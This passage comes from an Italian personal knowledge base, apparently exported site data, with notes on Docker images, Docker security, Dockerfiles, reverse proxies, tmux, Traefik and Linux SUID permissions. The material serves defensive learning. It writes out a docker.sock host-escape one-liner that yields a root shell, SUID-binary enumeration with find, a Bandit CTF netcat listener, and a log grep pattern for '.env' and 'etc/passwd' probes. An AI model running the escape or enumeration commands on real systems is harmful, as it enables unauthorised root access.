aperto\u0026quot;. Immagini orfane (dangling) # Le immagini orfane sono layer senza tag, prodotti da build successive della stessa immagine. Occupano disco senza essere usate da nessun container.\n# lista solo immagini orfane docker images -f dangling=true # elimina solo le orfane docker image prune # elimina tutte le immagini non usate da container attivi (piu aggressivo) docker image prune -a # quanto spazio occupano immagini, container, volumi docker system df Warning docker image prune -a elimina anche immagini valide non usate in questo momento — attenzione se hai container spenti che le usano.\nPrima di fare qualsiasi prune, controlla cosa hai davvero in esecuzione e cosa e' fermo:\n# mostra tutti i container (attivi e spenti) con la loro immagine docker ps -a --format \u0026#34;{{.Names}}: {{.Status}}: {{.Image}}\u0026#34; Cosi' sai esattamente quali immagini sono ancora necessarie per container in stato Exited che vuoi riavviare, e quali invece sono davvero abbandonate.\nDocker Layer Caching e Ispezione Immagini # 1. La Struttura a Layer (Livelli) # Ogni immagine Docker è una pila di layer immutabili e read-only. Ogni istruzione nel Dockerfile (RUN, COPY, ADD) crea un nuovo layer.\nLayer di Contenuto (RUN, COPY): Aggiungono dati fisici e aumentano la dimensione dell'immagine (es. installazione di pacchetti). Layer di Metadati (ENV, ARG, WORKDIR, ENTRYPOINT): Non aggiungono peso (0B), ma modificano il comportamento del runtime. 2. Il Comando docker history # È lo strumento di \u0026quot;archeologia digitale\u0026quot; per analizzare come è stata costruita un'immagine.\nUtilizzo: docker history \u0026lt;nome-immagine\u0026gt; Analisi Security: Permette di vedere se sono state eseguite operazioni pericolose (es. installazione di tool di rete poi rimossi) o se layer pesanti stanno occupando spazio inutilmente. Interpretazione: Se vedi \u0026lt;missing\u0026gt;, significa che Docker sta usando BuildKit: i layer intermedi sono gestiti come differenze logiche e non hanno un ID immagine individuale, rendendo l'immagine finale più efficiente. 3. La Logica della Cache (Determinismo) # Docker è \u0026quot;pigro\u0026quot;: prima di eseguire un comando, calcola un hash dell'istruzione e del contesto (file o variabili).\nSe l'hash corrisponde a un layer esistente, Docker usa la Cache (HIT) e non esegue il comando. Il problema del \u0026quot;Latest\u0026quot;: Se usi latest o comandi che scaricano dati da internet, Docker non sa se il contenuto remoto è cambiato. Se l'istruzione nel Dockerfile rimane identica, Docker userà la cache, ignorando eventuali aggiornamenti disponibili online. 4. Il Flag --no-cache # Forza Docker ad ignorare completamente la cronologia dei layer locali.\nQuando usarlo: Quando vuoi essere certo di applicare le ultime patch di sicurezza (apk upgrade) o scaricare l'ultima versione di un software CLI senza cambiare il Dockerfile. Effetto: Invalida la cache per tutte le righe del Dockerfile. 5. Strategia: Cache Busting Mirato (Best Practice) # Invece di usare sempre --no-cache (lento e inefficiente), si usa un \u0026quot;interruttore\u0026quot; (Cache Buster) tramite gli ARG.\nDockerfile\nFROM alpine:3.23 # Layer precedenti (Cache HIT) RUN apk add --no-cache bash # Se cambi questo valore, Docker invalida la cache SOLO da qui in poi ARG VERSION=\u0026#34;1.0.1\u0026#34; RUN npm install -g mio-tool@${VERSION} Considerazioni del Security Analyst # Immutabilità: In produzione, preferire il Version Pinning (es. VERSION=1.0.1) rispetto a --no-cache con latest. Questo garantisce che l'immagine sia riproducibile e che il comportamento del software non cambi inaspettatamente tra una build e l'altra.\nPulizia: Ogni riga RUN che aggiunge e poi rimuove file (es. apk add npm \u0026amp;\u0026amp; apk del npm) deve essere un'unica catena di comandi (\u0026amp;\u0026amp;). Se lo facessi in due righe separate, npm rimarrebbe per sempre nel layer precedente, occupando spazio e aumentando la superficie d'attacco.\nCollegato a # dockerfile — come si costruisce un'immagine docker-compose — come si usa un'immagine in un servizio system — categoria ","date":"19 marzo 2026","externalUrl":null,"permalink":"/concetti/docker-image/","section":"Concetti","summary":"Un'immagine Docker e' il template immutabile da cui nascono i container. Contiene il filesystem, le dipendenze e le istruzioni di avvio. Il container e' l'immagine in esecuzione.","title":"Docker Image","type":"concetti"},{"content":" Cosa fa # Raccoglie i rischi di sicurezza specifici dell'ambiente Docker e le contromisure corrispondenti. Docker aggiunge una superficie di attacco nuova rispetto a Linux tradizionale — capirla e' fondamentale per il blue team.\nLa superficie di attacco Docker # graph TD A[Attaccante] --\u003e|1 immagine vulnerabile| IMG[Immagine con CVE] A --\u003e|2 container root| ROOT[Container gira come root] A --\u003e|3 docker.sock esposto| SOCK[Accesso docker.sock] A --\u003e|4 porta esposta| PORT[DB esposto su 0.0.0.0] A --\u003e|5 secrets in env| ENV[Password in docker inspect] IMG --\u003e|RCE nel container| ESC[Escape dal container] ROOT --\u003e ESC SOCK --\u003e|controlla Docker| HOST[Accesso all'host] PORT --\u003e|accesso diretto DB| DATA[Dati rubati] ENV --\u003e DATA ESC --\u003e HOST 1. docker.sock — la chiave master # /var/run/docker.sock e' il file che il demone Docker usa per ricevere comandi. Chi lo controlla, controlla Docker. Chi controlla Docker, controlla l'host.\nls -la /var/run/docker.sock # srw-rw---- 1 root docker /var/run/docker.sock # ^^^^^^ # solo gruppo docker puo\u0026#39; accedere # Un attaccante con accesso a docker.sock puo\u0026#39;: docker run -v /:/host --rm -it alpine chroot /host sh # monta il filesystem dell\u0026#39;host dentro un container # chroot /host = l\u0026#39;host e\u0026#39; la root # risultato: shell root sull\u0026#39;host Contromisure:\n# Non montare mai docker.sock in un container senza necessita\u0026#39; # Nel docker-compose, questa e\u0026#39; una flag rossa: volumes: - /var/run/docker.sock:/var/run/docker.sock # pericoloso # Verifica chi e\u0026#39; nel gruppo docker: getent group docker # ogni utente in questo gruppo ha accesso root effettivo all\u0026#39;host 2. Container root — il problema piu' comune # Per default, i processi dentro un container girano come root (UID 0). Se c'e' una vulnerabilita' nel processo, l'attaccante ha root nel container — e con alcune configurazioni, puo' uscire sull'host.\n# Verifica se un container gira come root: docker exec container_rails whoami # se risponde \u0026#34;root\u0026#34; → problema # Nel Dockerfile — imposta un utente non-root: RUN groupadd -r appuser \u0026amp;\u0026amp; useradd -r -g appuser appuser USER appuser # da qui in poi, tutti i comandi girano come appuser # Nel docker-compose — sovrascrive l\u0026#39;utente del container: services: rails: user: \u0026#34;1000:1000\u0026#34; # UID:GID dell\u0026#39;utente non-root 3. Porte esposte — 0.0.0.0 vs 127.0.0.1 # # PERICOLOSO — database esposto su tutte le interfacce: ports: - \u0026#34;5432:5432\u0026#34; # equivale a 0.0.0.0:5432:5432 # raggiungibile da internet se il firewall non blocca # SICURO — solo da localhost: ports: - \u0026#34;127.0.0.1:5432:5432\u0026#34; # solo SSH tunnel o processi locali possono accedere # MEGLIO — non esporre la porta affatto: # usa le reti Docker per la comunicazione tra container # e SSH tunnel per accesso dal tuo Mac graph LR Internet --\u003e|bloccato| P1[\"0.0.0.0:5432\\npericoloso\"] Internet --\u003e|bloccato| P2[\"127.0.0.1:5432\\nsicuro\"] Mac --\u003e|SSH tunnel| P2 Mac --\u003e|connessione diretta| P1 4. Secrets — non metterli nelle variabili d'ambiente # Le variabili d'ambiente sono visibili a chiunque abbia accesso al container:\ndocker inspect chatwoot_rails | grep -A 50 \u0026#39;\u0026#34;Env\u0026#34;\u0026#39; # mostra tutte le variabili d\u0026#39;ambiente — incluse le password Livelli di sicurezza crescente:\n# PEGGIO — hardcoded nel docker-compose.yml (finisce su git) environment: POSTGRES_PASSWORD: miapassword123 # MEGLIO — file .env (non committare su git) environment: POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} # .env contiene: POSTGRES_PASSWORD=miapassword123 # .gitignore contiene: .env # MEGLIO ANCORA — Docker Secrets (solo Docker Swarm/Kubernetes) secrets: db_password: file: ./secrets/db_password.txt 5. Immagini vulnerabili # Ogni immagine contiene software — software ha CVE. Un'immagine vecchia e' una superficie di attacco:\n# Scansiona un\u0026#39;immagine per CVE (richiede trivy installato): trivy image chatwoot/chatwoot:latest # Usa immagini alpine quando possibile — meno software = meno CVE: postgres:16 # immagine completa Debian postgres:16-alpine # immagine minima Alpine — molto meno superficie # Aggiorna regolarmente: docker compose pull # scarica versioni aggiornate docker compose up -d # riavvia con le nuove immagini Checklist blue team — audit rapido Docker # # 1. Quali container girano come root? for c in $(docker ps -q); do echo -n \u0026#34;$c: \u0026#34; docker exec $c whoami 2\u0026gt;/dev/null done # 2. Qualcuno ha docker.sock montato? docker inspect $(docker ps -q) | grep docker.sock # 3. Porte esposte su 0.0.0.0? docker ps --format \u0026#34;{{.Names}}: {{.Ports}}\u0026#34; | grep \u0026#34;0.0.0.0\u0026#34; # 4. Container con capabilities privilegiate? docker inspect $(docker ps -q) | grep -E \u0026#39;\u0026#34;Privileged\u0026#34;: true\u0026#39; # 5. Immagini non aggiornate? docker images --format \u0026#34;{{.Repository}}:{{.Tag}}\\t{{.CreatedSince}}\u0026#34; Warning Un container --privileged ha accesso completo all'host — e' equivalente a girare come root sull'host senza container. Non usarlo mai in produzione.\nTip La regola piu' importante: ogni container deve avere solo i permessi strettamente necessari per fare il suo lavoro. Principio del minimo privilegio — stesso concetto di Linux UGO, applicato ai container.\nCollegato a # docker-network-defense — isolamento di rete come difesa docker-compose — dove si configurano permessi e porte dockerfile — USER, secrets nel build linux-permissions-ugo — stesso principio, contesto diverso suid-sgid-sticky — privilege escalation analoga system — categoria iam — categoria docker-sock ","date":"19 marzo 2026","externalUrl":null,"permalink":"/concetti/docker-security/","section":"Concetti","summary":"I rischi di sicurezza specifici di Docker: docker.sock come vettore di privilege escalation, container root, porte esposte, immagini vulnerabili. Come difendersi da ciascuno.","title":"Docker Security","type":"concetti"},{"content":" Cosa fa # File di testo con istruzioni per costruire un'immagine Docker passo per passo. Ogni istruzione aggiunge un layer immutabile.\nStruttura base # # Da quale immagine parti (il \u0026#34;sistema operativo base\u0026#34;) FROM ubuntu:22.04 # Chi mantiene questa immagine LABEL maintainer=\u0026#34;barno@example.com\u0026#34; # Esegui comandi durante la costruzione (installa software) RUN apt-get update \u0026amp;\u0026amp; apt-get install -y nodejs npm # Imposta la directory di lavoro dentro il container WORKDIR /app # Copia file dall\u0026#39;host dentro l\u0026#39;immagine COPY package.json . COPY src/ ./src/ # Esegui comando durante build (installa dipendenze) RUN npm install # Espone una porta (documentazione — non apre nulla da sola) EXPOSE 3000 # Variabili d\u0026#39;ambiente ENV NODE_ENV=production # Utente con cui girare (sicurezza — evita root) USER node # Cosa esegue il container quando parte ENTRYPOINT [\u0026#34;node\u0026#34;] CMD [\u0026#34;src/app.js\u0026#34;] ENTRYPOINT vs CMD — la differenza che confonde # Questa e' la parte piu' confusa di Docker. Analogia:\nENTRYPOINT = funge da costruttore (viene eseguito sempre all'avvio e definisce il comportamento fisso), CMD = rappresenta gli argomenti di default del costruttore, che l'utente può decidere di cambiare al momento del lancio\ngraph LR E[ENTRYPOINT\\nnode] --\u003e CMD[CMD\\nsrc/app.js] CMD --\u003e Final[\"Esegue:\\nnode src/app.js\"] ENTRYPOINT [\u0026#34;docker-entrypoint.sh\u0026#34;] ← sempre eseguito CMD [\u0026#34;node\u0026#34;, \u0026#34;server.js\u0026#34;] ← argomento di default # l\u0026#39;utente può fare: docker run myimage bash ← sovrascrive CMD, entrypoint resta # Dockerfile: ENTRYPOINT [\u0026#34;node\u0026#34;] CMD [\u0026#34;src/app.js\u0026#34;] # docker run myimage # → esegue: node src/app.js (default) # docker run myimage src/altro.js # → esegue: node src/altro.js (CMD sovrascritto) # docker run --entrypoint bash myimage # → esegue: bash (ENTRYPOINT sovrascritto — raro) Caso reale nel docker-compose di Chatwoot:\n# rails e sidekiq usano la stessa immagine (\u0026lt;\u0026lt;: *base) # ma CMD diverso: rails: command: [\u0026#34;bundle\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;rails\u0026#34;, \u0026#34;s\u0026#34;, \u0026#34;-p\u0026#34;, \u0026#34;3000\u0026#34;] # → esegue il server web sidekiq: command: [\u0026#34;bundle\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;sidekiq\u0026#34;, \u0026#34;-C\u0026#34;, \u0026#34;config/sidekiq.yml\u0026#34;] # → esegue il worker background Stessa immagine, comportamento diverso — solo CMD cambia.\nLe istruzioni da ricordare — ordine di importanza # Imprescindibili:\nIstruzione Cosa fa Quando FROM Immagine base di partenza Sempre prima riga RUN Esegue comandi durante il build Installare software COPY Copia file dall'host nell'immagine Aggiungere codice e config ENTRYPOINT Il mestiere del container — non cambia Definire il processo principale CMD Argomenti di default — sovrascrivibili Configurazione di default Importanti:\nIstruzione Cosa fa WORKDIR Directory di lavoro dentro il container ENV Variabili d'ambiente disponibili a runtime EXPOSE Documenta quale porta usa il container USER Utente con cui gira il processo — fondamentale per security Warning EXPOSE e' solo documentazione — non apre nessuna porta reale. La porta viene esposta solo con -p 8080:3000 in docker run o con ports: in docker-compose. E' una fonte comune di confusione.\nImportant Aggiungi sempre USER con un utente non-root. Un container compromesso che gira come root ha accesso root anche all'host se docker.sock e' montato — vedi docker-security.\nCOPY vs ADD # # COPY — semplice, copia file/directory COPY src/ /app/src/ COPY config.yml /app/ # ADD — fa tutto COPY + estrae tar + scarica URL ADD archive.tar.gz /app/ # estrae automaticamente ADD https://example.com/file /app/ # scarica da URL # Regola: usa sempre COPY a meno che non ti serva l\u0026#39;estrazione # ADD nasconde cosa sta facendo — COPY e\u0026#39; esplicito Layer caching — perche' l'ordine conta # Docker riusa i layer gia' costruiti se non sono cambiati. Metti le istruzioni che cambiano meno all'inizio:\n# SBAGLIATO — ogni modifica al codice invalida anche npm install FROM node:18 COPY . /app # copia tutto — se cambia un file, rifai npm install RUN npm install # CORRETTO — npm install viene rifatto solo se package.json cambia FROM node:18 COPY package.json /app/ # raramente cambia RUN npm install # usa la cache se package.json non cambia COPY . /app # cambia spesso — ma npm install e\u0026#39; gia\u0026#39; cached Build e uso # # Costruisce l\u0026#39;immagine dalla directory corrente docker build -t mia-app:1.0 . # -t = tag (nome:versione) # . = context (directory con Dockerfile e file) # Costruisce specificando il Dockerfile docker build -f Dockerfile.prod -t mia-app:prod . # Mostra i layer e la cache usata docker build --no-cache -t mia-app:1.0 . # --no-cache = ignora la cache, ricostruisce tutto Tip RUN apt-get update \u0026amp;\u0026amp; apt-get install -y pacchetto deve stare su una sola riga — se le separi in due RUN, la cache potrebbe usare un apt-get update vecchio con pacchetti obsoleti.\nWarning Non mettere mai password, token o chiavi private nel Dockerfile — anche se le cancelli in un layer successivo, restano nella storia dei layer e sono visibili con docker history.\nCollegato a # docker-image — il risultato del build docker-compose — come usare l'immagine in un servizio docker-security — USER, secrets, superficie di attacco system — categoria ","date":"19 marzo 2026","externalUrl":null,"permalink":"/concetti/dockerfile/","section":"Concetti","summary":"File di istruzioni per costruire un'immagine Docker. Ogni istruzione aggiunge un layer. ENTRYPOINT e CMD definiscono cosa esegue il container quando parte.","title":"Dockerfile","type":"concetti"},{"content":" Cosa fa # Server intermediario che accetta richieste esterne e le instrada ai server interni corretti. A differenza di un proxy forward (che proteggeil client), il reverse proxy protegge e nasconde l'infrastruttura server.\nProxy forward vs Reverse proxy # Il nome \u0026quot;reverse\u0026quot; indica che la direzione di protezione e' invertita:\ngraph LR subgraph Proxy Forward C1[Client] --\u003e|nasconde il client| P1[Proxy] --\u003e S1[Internet] end subgraph Reverse Proxy I[Internet] --\u003e|nasconde i server| RP[Reverse Proxy] --\u003e S2[Server interno] end Come funziona — flusso completo # graph LR User[Utente Internet] --\u003e|HTTPS 443| RP[Reverse Proxy] RP --\u003e|routing interno| C1[Chatwoot :3000] RP --\u003e|routing interno| C2[n8n :5678] RP --\u003e|routing interno| C3[Portainer :9000] subgraph Rete interna — non esposta C1 C2 C3 end L'utente vede solo il reverse proxy. Non sa quanti server ci sono dietro, su quali porte girano, o che tecnologia usano.\nPerche' e' importante per Blue Team # Il reverse proxy e' il primo punto di contatto con internet — tutto il traffico passa da li'. Questo lo rende il posto ideale per:\nNascondere l'infrastruttura — l'attaccante vede solo un IP e una porta. Non conosce la struttura interna, le porte dei servizi, o le versioni software.\nTerminazione SSL — il certificato HTTPS e' gestito in un solo punto. I servizi interni comunicano in HTTP semplice sulla rete privata. Monitorare la scadenza dei certificati diventa triviale.\nCentralizzazione dei log — tutti gli accessi passano dal proxy. Un solo posto dove cercare tentativi di attacco, brute force, scan.\nRate limiting e blocco IP — un attacco brute force viene rilevato e bloccato al proxy prima di toccare l'applicazione. Strumenti come CrowdSec o Fail2Ban leggono i log del proxy e bannano gli IP a livello di firewall.\nScenario Reale # Un attaccante tenta brute force su chat.example.it.\nsequenceDiagram participant A as Attaccante participant RP as Reverse Proxy participant F as Fail2Ban participant App as Chatwoot A-\u003e\u003eRP: POST /auth/sign_in (tentativo 1) RP-\u003e\u003eApp: forwarda la richiesta App-\u003e\u003eRP: 401 Unauthorized A-\u003e\u003eRP: POST /auth/sign_in (tentativo 2..N) RP-\u003e\u003eF: log: troppi 401 dallo stesso IP F-\u003e\u003eRP: ban IP attaccante A-\u003e\u003eRP: POST /auth/sign_in (tentativo N+1) RP-\u003e\u003eA: 403 Forbidden — Chatwoot non viene mai contattato Collegato a # log — categoria traefik — implementazione pratica del concetto docker — contesto in cui e' deployato ","date":"19 marzo 2026","externalUrl":null,"permalink":"/concetti/reverse-proxy/","section":"Concetti","summary":"Server intermediario che si posiziona davanti all'infrastruttura interna, accettando tutte le richieste esterne e distribuendole ai server giusti. Protegge il server, non il client.","title":"Reverse Proxy","type":"concetti"},{"content":" Cosa fa # Terminal multiplexer — gestisce sessioni, finestre e pannelli in un solo terminale. Le sessioni restano vive anche dopo aver chiuso il terminale o disconnesso SSH. Fondamentale per Bandit e per lavoro su server remoti.\nGerarchia # # tmux ha tre livelli: # sessione → contiene finestre # finestra → contiene pannelli # pannello → e\u0026#39; il terminale vero # Esempio: # Session \u0026#34;lavoro\u0026#34; # Window 0: \u0026#34;ctf\u0026#34; # Pane 0 (sinistra) → nc -l -p 5555 # Pane 1 (destra) → ./suconnect 5555 # Window 1: \u0026#34;note\u0026#34; # Pane 0 → vim Prefisso # Tutti i comandi tmux iniziano con il prefisso Ctrl+b. Prima premi Ctrl+b, rilasci, poi premi il tasto del comando.\n# Cambiare prefisso in ~/.tmux.conf (molti usano Ctrl+a come screen): # set -g prefix C-a # Il prefisso default su Bandit e\u0026#39; sempre Ctrl+b Sessioni # # Avviare tmux # nuova sessione senza nome tmux new -s nome # -s = session name # Detach / Attach # Ctrl+b d # d = detach — sessione resta viva in background tmux ls # ls = list sessions tmux attach -t nome # -t = target, rientra per nome tmux attach -t 0 # rientra per numero tmux kill-session -t nome # chiude una sessione tmux kill-server # chiude tutto Finestre (Windows) # Una finestra occupa tutto lo schermo — come un tab del browser.\n# Ctrl+b c c = create — nuova finestra # Ctrl+b , rinomina finestra corrente # Ctrl+b n n = next — finestra successiva # Ctrl+b p p = previous — finestra precedente # Ctrl+b 0-9 vai alla finestra per numero # Ctrl+b w w = window list — lista finestre interattiva # Ctrl+b \u0026amp; \u0026amp; = kill (come kill in shell) — chiudi finestra (conferma) Pannelli (Panes) # Un pannello divide la finestra — puoi avere piu terminali nella stessa schermata.\n# Ctrl+b % % = split verticale (due colonne) # Ctrl+b \u0026#34; \u0026#34; = split orizzontale (due righe) # Ctrl+b space cambia direzione, da split verticale a orizzontale e viceversa # Ctrl+b freccia sposta tra pannelli nella direzione # Ctrl+b o o = other — passa al pannello successivo # Ctrl+b ; torna al pannello usato prima # Ctrl+b x x = exit/kill — chiudi pannello corrente (conferma) # Ctrl+b z z = zoom — toggle fullscreen sul pannello corrente # Ctrl+b q q = quit numbering — mostra numeri pannelli, # premi il numero per saltarci # Ctrl+b { sposta pannello a sinistra # Ctrl+b } sposta pannello a destra # Ctrl+b Ctrl+freccia ridimensiona pannello in piccoli step Scroll e copia # Su Mac non hai PgUp fisica — usa Fn+Freccia Su oppure entra in modalita copia con Ctrl+b [.\n# Ctrl+b [ entra in modalita copia / scroll # [ = apre il buffer di scrollback # frecce scorrono riga per riga # Fn+Freccia Su scorre pagina per pagina (Mac) # q esce dalla modalita copia # Space inizia selezione testo # Enter copia selezione nel buffer tmux # Ctrl+b ] incolla il testo copiato dal buffer tmux Comandi da riga di comando # # Eseguire un comando in una sessione esistente senza entrarci tmux send-keys -t nome:finestra \u0026#34;comando\u0026#34; Enter # Creare una finestra con nome specifico tmux new-window -t nome -n \u0026#34;titolo\u0026#34; # Dividere un pannello da riga di comando tmux split-window -h -t nome # -h = horizontal split (due colonne) tmux split-window -v -t nome # -v = vertical split (due righe) Flag principali # Flag Significato Esempio -s session name tmux new -s ctf -t target tmux attach -t ctf -d detach dopo il comando tmux new -s nome -d -h horizontal split tmux split-window -h -v vertical split tmux split-window -v -x larghezza finestra tmux new -s nome -x 220 -y altezza finestra tmux new -s nome -y 50 Scenario Reale # # Bandit 20 — split verticale per nc + suconnect nella stessa finestra tmux new -s bandit20 # Ctrl+b % split verticale # pannello sinistro: echo PASSWORD | nc -l -p 5555 \u0026amp; # Ctrl+b freccia destra vai al pannello destro ./suconnect 5555 # Server remoto — sessione persistente che sopravvive alla disconnessione ssh utente@server tmux new -s lavoro # crea sessione # ... lavori ... # Ctrl+b d detach # connessione SSH si chiude # il processo continua sul server ssh utente@server # riconnetti tmux attach -t lavoro # rientra esattamente dove eri Tip Su server remoti, apri sempre tmux subito dopo il login SSH. Se la connessione cade, il tuo lavoro e' ancora li quando torni.\nNote -h e -v in split-window sembrano invertiti rispetto all'intuizione: -h = horizontal = divide in due colonne (split verticale visivo) -v = vertical = divide in due righe (split orizzontale visivo) Il parametro indica la direzione della linea di divisione, non delle colonne.\nDove l'ho usato # bandit-20 — due pannelli per nc in ascolto e suconnect in parallelo Collegato a # ssh — tmux e' essenziale nelle sessioni SSH remote shell-interattiva — tmux crea shell interattive in ogni pannello system — categoria ","date":"19 marzo 2026","externalUrl":null,"permalink":"/comandi/tmux/","section":"Comandi","summary":"Terminal multiplexer — permette di avere piu finestre e pannelli in un solo terminale, e di lasciare sessioni attive in background anche dopo aver chiuso la connessione SSH.","title":"tmux","type":"comandi"},{"content":" Cosa fa # Edge router e reverse proxy che legge i label dei container Docker e configura automaticamente il routing HTTP/HTTPS. Quando un container viene avviato con i label corretti, Traefik lo rende immediatamente raggiungibile senza toccare nessun file di configurazione.\nCome funziona — architettura # graph TD Internet --\u003e|porta 80/443| T[Traefik] T --\u003e|legge label| D[Docker API] D --\u003e|restituisce metadati container| T T --\u003e|Host chat.dominio.it| C1[Chatwoot :3000] T --\u003e|Host n8n.dominio.it| C2[n8n :5678] T --\u003e|Host portainer.dominio.it| C3[Portainer :9000] Traefik interroga continuamente Docker per sapere quali container sono attivi e quali label hanno. Ogni volta che avvii o spegni un container, il routing si aggiorna automaticamente.\nConfigurazione via Docker labels # Tutti i parametri di routing si definiscono come label nel docker-compose.yml del servizio:\nLabel Significato Cosa fa traefik.enable=true enable — abilita gestione Dice a Traefik di gestire questo container traefik.http.routers.X.rule router rule — regola di routing Definisce il dominio (Host(\\chat.dominio.it`)`) traefik.http.services.X.loadbalancer.server.port loadbalancer port — porta interna Indica la porta su cui ascolta il container traefik.http.routers.X.tls=true tls — Transport Layer Security Abilita HTTPS su questo router traefik.http.routers.X.tls.certresolver certresolver — risolutore certificati Usa Let's Encrypt per il certificato SSL exposedByDefault e il label traefik.enable # Traefik nel compose del progetto AntonellAI e' configurato con:\n- \u0026#34;--providers.docker.exposedbydefault=false\u0026#34; # exposedbydefault = esponi automaticamente tutti i container # false = non farlo — ogni container deve dichiararsi esplicitamente Con questa opzione attiva, Traefik ignora tutti i container sulla rete web a meno che non abbiano il label:\nlabels: - \u0026#34;traefik.enable=true\u0026#34; Senza exposedbydefault=false, qualsiasi container aggiunto alla rete web verrebbe esposto automaticamente — un rischio di sicurezza in produzione.\nNote Un container puo' essere sulla rete web e non essere raggiungibile da Traefik se non ha il label traefik.enable=true. Questo e' il comportamento corretto: la rete web e' il canale di comunicazione, il label e' il permesso esplicito.\nEsempio docker-compose.yml # services: chatwoot: image: chatwoot/chatwoot labels: - \u0026#34;traefik.enable=true\u0026#34; - \u0026#34;traefik.http.routers.chat.rule=Host(`chat.example.it`)\u0026#34; - \u0026#34;traefik.http.routers.chat.tls=true\u0026#34; - \u0026#34;traefik.http.routers.chat.tls.certresolver=letsencrypt\u0026#34; - \u0026#34;traefik.http.services.chat.loadbalancer.server.port=3000\u0026#34; Flusso di una richiesta HTTPS # sequenceDiagram participant U as Utente participant T as Traefik :443 participant C as Chatwoot :3000 U-\u003e\u003eT: GET https://chat.example.it T-\u003e\u003eT: legge Host header T-\u003e\u003eT: cerca router con rule Host(chat.example.it) T-\u003e\u003eT: trova → service chat → porta 3000 T-\u003e\u003eC: GET http://chatwoot:3000 (rete interna Docker) C-\u003e\u003eT: 200 OK + HTML T-\u003e\u003eU: 200 OK + HTML (cifrato TLS) Scenario Reale — Blue Team # Traefik centralizza i log di accesso di tutti i servizi in un unico punto. Un analista SOC puo' cercare pattern di attacco su tutti i servizi con un solo comando invece di controllare i log di ogni container separatamente:\n# Log di tutti i servizi in tempo reale docker logs traefik -f # Cerca tentativi di accesso a path sospetti docker logs traefik 2\u0026gt;\u0026amp;1 | grep -E \u0026#34;wp-admin|\\.env|etc/passwd\u0026#34; # Conta richieste per IP (potenziale brute force) docker logs traefik 2\u0026gt;\u0026amp;1 | awk \u0026#39;{print $1}\u0026#39; | sort | uniq -c | sort -rn | head Tip Traefik e' il punto ideale dove installare CrowdSec o Fail2Ban — tutti gli accessi passano da li', quindi un singolo blocco protegge tutti i servizi dietro il proxy.\nCertificati Let's Encrypt — acme.json # Traefik salva i certificati SSL in un file acme.json dentro il volume mappato:\nvolumes: - traefik_letsencrypt:/letsencrypt # volume named # dentro /letsencrypt ci sara\u0026#39; acme.json con tutti i certificati Il file acme.json contiene i certificati per tutti i domini gestiti da Traefik. Se il volume viene perso o ricreato, Traefik genera nuovi certificati — ma Let's Encrypt ha un rate limit:\nRate limit Let\u0026#39;s Encrypt: 5 certificati per dominio ogni 7 giorni Se si supera il limite, il dominio rimane senza certificato valido e il browser mostra \u0026quot;tls: unknown certificate\u0026quot; per diversi giorni.\n# Verifica il contenuto del volume certificati sudo ls /var/lib/docker/volumes/traefik_traefik_letsencrypt/_data/ # acme.json # Verifica che acme.json non sia vuoto sudo cat /var/lib/docker/volumes/traefik_traefik_letsencrypt/_data/acme.json | python3 -m json.tool | grep -c \u0026#34;certificate\u0026#34; Warning Il volume traefik_letsencrypt deve essere incluso nel backup. Se si perde acme.json e si e' gia vicini al rate limit di Let's Encrypt, i domini restano irraggiungibili via HTTPS per giorni. Includilo nello script backup.sh.\nCollegato a # system — categoria docker — Traefik legge i metadati Docker reverse-proxy — Traefik e' un'implementazione di reverse proxy ","date":"19 marzo 2026","externalUrl":null,"permalink":"/comandi/traefik/","section":"Comandi","summary":"Edge router e reverse proxy moderno che si configura automaticamente leggendo i metadati dei container Docker. Zero configurazione manuale per ogni nuovo servizio.","title":"traefik","type":"comandi"},{"content":" TL;DR Linux non lavora con nomi utente - lavora con numeri: UID e GID Ogni file ha tre livelli di permessi: owner, group, others Il bit SUID cambia le regole: il processo gira con i privilegi del proprietario del file, non di chi lo esegue find / -perm -4000 trova tutti i binari SUID del sistema - un'occhiata vale sempre ▶ $ history id ls -la /usr/bin/passwd find / -perm -4000 -type f 2\u0026gt;/dev/null chmod u+s /path/to/file chmod u-s /path/to/file find / -perm -4000 -type f 2\u0026gt;/dev/null | grep -v -E \u0026quot;^/(usr/bin|usr/sbin|bin|sbin|usr/lib)\u0026quot; Linux non sa chi sei. Sa solo il tuo numero.\nQuando apri una shell, il sistema operativo non lavora con il tuo nome utente - lavora con un intero: il tuo UID. Tutto il sistema di permessi, dai file ai processi, è costruito su questa traduzione. Capire come funziona è il primo passo per capire perché certi attacchi funzionano.\nSistema: Linux (qualsiasi distribuzione) Tools: id, ls, find, chmod, stat - tutti preinstallati Conoscenze: nessuna - si parte da zero\nCome funziona il sistema di identità # Ogni utente in Linux ha tre identificatori numerici:\nUID (User ID) - chi sei tu GID (Group ID) - il tuo gruppo principale gruppi supplementari - altri gruppi a cui appartieni id # output simulato uid=1000(barno) gid=1000(barno) groups=1000(barno),4(adm),27(sudo),1001(docker) Ogni processo che avvii eredita il tuo UID e GID. Quando bash vuole aprire un file, il kernel confronta l'UID del processo con i permessi del file e decide: sì o no.\ngraph TD Utente[\"Utente: barno\\nUID=1000, GID=1000\"] --\u003e Processo[\"Processo bash\\nUID=1000, GID=1000\"] Processo --\u003e Controllo[\"Kernel: confronta UID/GID\\ncon i permessi del file\"] Controllo --\u003e Sì[\"Accesso consentito\"] Controllo --\u003e No[\"Permission denied\"] Root è semplicemente l'utente con UID=0. Non c'è magia - è solo un numero speciale che il kernel tratta diversamente: i controlli di permesso vengono saltati.\nI permessi sui file # Ogni file ha tre set di permessi: per il proprietario, per il gruppo, e per tutti gli altri.\nls -la /etc/passwd # output simulato -rw-r--r-- 1 root root 2847 Mar 18 09:00 /etc/passwd Si legge così:\n- rw- r-- r-- │ │ │ └── altri (r = leggi, - = non scrivere, - = non eseguire) │ │ └────── gruppo root (solo lettura) │ └────────── proprietario root (leggi e scrivi) └────────────── tipo file (- = file normale, d = directory) # Vedere i permessi in forma numerica (ottale) stat -c \u0026#34;%a %n\u0026#34; /etc/passwd # output simulato 644 /etc/passwd 644 significa: proprietario 6 (rw-), gruppo 4 (r--), altri 4 (r--).\nCos'è il bit SUID # Fin qui tutto normale. Il bit SUID è l'eccezione che cambia le regole.\nQuando un file eseguibile ha il bit SUID impostato, il processo che lo esegue non usa il tuo UID - usa l'UID del proprietario del file. Se il proprietario è root, il processo gira come root, indipendentemente da chi lo ha avviato.\n# Vedi il bit SUID: la \u0026#39;s\u0026#39; al posto della \u0026#39;x\u0026#39; nei permessi del proprietario ls -la /usr/bin/passwd # output simulato -rwsr-xr-x 1 root root 59976 Nov 24 2022 /usr/bin/passwd La s in posizione x del proprietario 